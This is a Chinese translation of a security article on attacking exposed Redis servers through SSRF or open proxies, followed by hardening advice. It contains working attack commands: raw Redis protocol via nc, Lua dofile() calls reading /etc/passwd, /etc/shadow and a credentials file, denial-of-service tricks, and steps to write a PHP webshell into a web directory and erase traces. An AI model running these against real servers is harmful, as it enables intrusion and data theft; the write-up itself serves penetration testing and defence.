<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/3062

            0x00 寫在前面的話


            文章是翻譯過來的,翻譯過程中做了一些修改,添加了些東西。有興趣的直接可以看原文,原文的鏈接接在文章的最底部。

            0x01 情景


            我們假設存在一個SSRF漏洞或者配置不當的代理服務器,使攻擊者可以通過HTTP請求直接訪問Redis服務。在上面假設的兩種情況中,要求我們對于HTTP的訪問請求至少有一行是完全可控的,這種完全可控是很容易實現的。但是,命令行的客戶端(redis-cli)是不支持HTTP代理的,而且我們需要構造出自己的命令。這些構造好的語句,封裝在HTTP請求中,通過代理進行發送。以下所有的測試都是在redis 2.6.0版本中,雖然不是最新版,但是我們的要攻擊的目標使用的就是這個版本......

            0x02 Redis簡介


            Redis是一個NoSQL的數據庫(NoSQl泛指非關系型的數據庫,常用的mysql是關系型數據庫),數據通過鍵/值對存儲在內存中。默認配置中,在服務運行的時候,會開放一個沒有驗證的TCP/6379端口,提供的這個接口是很“寬容”。它會嘗試去解析處理每一次輸入(直到超時或者輸入’QUIT’命令退出),對于那些不存在的命令,則會顯示像"-ERR unknown command"這樣的輸出。

            0x03 目標識別


            當我們利用SSRF漏洞或者配置不當的代理服務器進行進一步滲透時,第一步通常是掃描已知的服務。作為一個攻擊者,得知這個服務只在本地回環接口上進行了端口監聽,使用了基于來源的驗證或者認為這種保護方式風險很小,因為這個是外部不能訪問的。 在測試過程中,看到以下日志會令人亢奮:

            -ERR wrong number of arguments for 'get' command
            -ERR unknown command 'Host:'
            -ERR unknown command 'Accept:'
            -ERR unknown command 'Accept-Encoding:'
            -ERR unknown command 'Via:'
            -ERR unknown command 'Cache-Control:'
            -ERR unknown command 'Connection:'
            

            正如你所看到的,這個輸出證明了HTTP的GET請求方法,在redis中作為一個有效的命令執行了,但是沒有給這個命令提供正確的參數。其他的HTTP請求的沒有匹配到Redis命令,出現了很多”unknown command”的錯誤信息。

            0x04 基本交互


            在上面構造的場景中,發出去的HTTP請求是幾乎完全可控的,同時請求是通過Squid代理發送的。 這包含以下兩個方面

            1)構造的HTTP請求必須是有效的,這樣才能通過squid代理去處理請求 2)到達Redis數據庫的請求,是通過代理發送的 更簡單的方法是使用POST來提交數據,但是注入HTTP頭部的也是一個不錯的選擇。現在,來輸入一些基礎的命令(藍色標記的是輸入的命令)

            ECHO HELLO
            $5
            HELLO
            
            TIME
            *2
            $10
            1410273409
            $6
            380112
            
            CONFIG GET pidfile
            *2
            $7
            pidfile
            $18
            /var/run/redis.pid
            
            SET my_key my_value
            +OK
            
            GET my_key
            $8
            my_value
            
            QUIT
            +OK
            

            0x05 突破空格的限制


            正如你所注意到的,服務器會返回特定的數據,再加上像”*2”或者”$7”這種的字符,這是根據Redis協議對二進制數據安全的規定返回的數據,如果你要使用包含空格的參數,則必須使用這個規則。

            例如,命令SET設置key 為“foo bar”無論是否使用單雙引號,都是不會成功的。幸運的是,Redis協議關于二進制安全的一些規定是很簡單的:

            --每一行都要使用分隔符(CRLF)
            --一條命令用”*”開始,同時用數字作為參數,需要分隔符(“*1”+ CRLF)
            --我們有多個參數時:
            -字符:以”$”開頭+字符的長度("$4"+CRLF)+字符串(“TIME”+CRLF)
            -整數:以”:”開頭+整數的ASCII碼(“:42”+CRLF)
            

            以上就是所有規則

            舉一個例子: 對于設置”I am boring”的key為”with_space”,使用redis-cli的設置很簡單,一眼就能看懂

            $ redis-cli -h 127.0.0.1 -p 6379 set with_space 'I am boring'
            +OK
            

            接下來我們套用規則來設置這條命令 *3是set命令的代表 然后根據多個參數時的字符串表達式來構造set with_space I am boring這個命令,上面這條命令等價與后面的這條命令

            $ echo -e  '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 127.0.0.1 6379 
            +OK
            

            0x06 信息收集


            經過前面的鋪墊,我們可以很好的和服務器進行交互獲取我們想要的信息。Redis的一些命令是很有用的,例如”INFO”和”CONFIG GET (dir|dbfilename|logfile|pidfile)"。這里就把測試機器上的執行"INFO"的輸出貼出來

            # Server
            redis_version:2.6.0
            redis_git_sha1:00000000
            redis_git_dirty:0
            redis_mode:standalone
            os:Linux 3.2.0-61-generic-pae i686
            arch_bits:32
            multiplexing_api:epoll
            gcc_version:4.6.3
            process_id:19114
            run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25
            tcp_port:6379
            uptime_in_seconds:9806
            uptime_in_days:0
            lru_clock:518932
            
            # Clients
            connected_clients:1
            client_longest_output_list:0
            client_biggest_input_buf:1
            blocked_clients:0
            
            # Memory
            used_memory:661768
            [...]
            

            下一步當然是進軍文件系統,Redis可以執行Lua腳本(在沙箱中)通過”EVAL”命令。沙箱允許dofile()命令。這條命令能夠查看文件和列目錄。因為Redis沒有特殊的權限,所以請求/etc/shadow時會顯示一個”permission denied”的錯誤信息(與運行redis服務的用戶的權限有關)

            EVAL “ return dofile('/etc/passwd')” 0
            -ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':' 
            
            EVAL “return dofile('/etc/shadow')” 0
            -ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied
            
            EVAL “return dofile('/var/www/') ” 0
            -ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory
            
            EVAL “return dofile('/var/www/tmp_upload/') ”0
            -ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory
            
            EVAL “return dofile('/home/ubuntu/.bashrc')” 0
            -ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'
            

            如果Lua腳本有語法錯誤或者嘗試設置全局變量時,會產生報錯信息,可以獲得一些我們想要的信息

            EVAL “return dofile('/etc/issue')” 0
            -ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'
            
            EVAL “return dofile('/etc/lsb-release')” 0
            -ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'
            
            EVAL “return dofile('/etc/hosts')” 0
            -ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'
            

            還有一種情況,但是并不是很常見,就是調用dofile()這個函數去處理有效的Lua文件,然后返回提前定義好的值,假設這里有一個文件/var/data/app/db.conf

            db = {
               login  = 'john.doe',
               passwd = 'Uber31337',
            }
            

            通過Lua腳本得到passwd的值

            EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0 
            +OK Uber31337
            

            這個也可以獲取Unix標準文件的一些信息:

            EVAL “dofile('/etc/environment');return(PATH);” 0       
            +OK     /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
            EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
            +OK /usr/bin/nano
            

            0x07 暴力破解


            Redis提供一個redis.sha1hex()函數,可以被Lua腳本調用,所以還可以通過Redis服務器進行SHA-1的破解,相關代碼在adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相關原理的描述在 (http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要翻墻訪問)

            0x08 Dos


            這里有很多Dos Redis的方法,例如通過調用shutdown這個命令刪除數據。

            這里有更加有趣的兩個例子:

            1)在Redis的控制端,調用dofile()不加任何參數,將會從標準輸入讀取數據,并把讀取的數據認為是Lua腳本。這個時候服務器依舊在運行,但是不會去處理新的連接,直到在控制端讀取到”^D”(或者重啟)。

            2)Sha1hex()函數可以被覆蓋(在任何一個客戶端都可以實現這個效果)。下面展示一個返回固定值的sha1hex()函數 Lua腳本:

            print(redis.sha1hex('secret'))
            function redis.sha1hex (x)
               print('4242424242424242424242424242424242424242') 
            end
            print(redis.sha1hex('secret'))
            

            在Redis的控制端上

            # First run
            e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
            4242424242424242424242424242424242424242
            
            # Next runs
            4242424242424242424242424242424242424242
            4242424242424242424242424242424242424242
            

            0x09 數據竊取


            如果Redis服務器存儲一些有趣的數據(像session cookie或商業數據),你可以通過get枚舉鍵值,獲取數據。

            0x0A 加密


            Lua使用完全可以預測的”隨機數”,細節在scripting.c的evalGenericCommand()函數中

            /* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
            redisSrand48(0);
            

            每一次Lua腳本調用math.random()函數產生的隨機數都是相同數字流:

            0.17082803611217
            0.74990198051087
            0.09637165539729
            0.87046522734243
            0.57730350670279
            [...]
            

            0x0b 遠程命令執行


            為了在開放的Redis服務器上進行命令執行,有以下三種情況: 首先能夠修改底層的字節碼,能夠進行虛擬機的逃逸。(Lua的一個例子https://gist.github.com/corsix/6575486);或者是繞過全局保護并且試圖訪問一些有趣的函數。

            繞過全局保護是很輕松的(stackoverflow上有一個例子 http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而這么有趣的模塊并不能加載,順便提一下,在這里還有很多有趣的東西(http://lua-users.org/wiki/SandBoxes)。

            第三種情況相對來說比較容易實現,將一個半控制的文件導出到硬盤中,在web的根目錄中,通過備份得到一個webshell或者覆蓋一個shell腳本。唯一的區別是文件名和payload,導出的方法都是一樣的,但是應該注意的是保存日志文件的位置在啟動之后是不能修改的。事實上,這個數據庫中的內容會隔一段時間備份到硬盤的,以便于數據恢復,何時備份取決于配置文件或者BGSAVE命令

            以下是常用的幾條命令: -修改備份文件的位置

            CONFIG SET dir /var/www/uploads
            CONGIG SET dbfilename sh.php
            

            -把payload插入數據庫

            SET payload “could be php or shell or whatever”
            

            -把數據導出到硬盤

            BGSAVE
            

            -清除痕跡

            DEL payload
            CONFIG SET dir /var/redis
            CONGIG SET dbfilename dump.rdb
            

            然而,這里存在一個致命的問題,Redis對dump出來的數據設置的是”0600”權限,因此Apache不能讀取。(作者是這么寫的,元芳你怎么看?)

            0x0C 關于如何發覺公網上的Redis未授權訪問


            Redis默認是運行在TCP的6379端口上的,需要進行端口掃描.確定端口是否開放。 同時,Python中有redis這個模塊,可以編寫腳本調用端口掃描后的結果,對Redis服務是否可以直接訪問,進行快速判斷。

            0x0D 安全配置Redis的一些建議


            不要以root用戶運行redis
            

            配置文件中的安全配置

            port 修改redis使用的端口號
            bind 設定redis監聽的IP
            requirepass 設定redis連接的密碼
            rename-command CONFIG ""    #禁用CONFIG命令
            rename-command info info2   #重命名info為info2
            

            源文章: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html 參考: Redis protocol:http://redis.io/topics/protocol Redis 命令參考:http://redis.readthedocs.org/en/latest/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线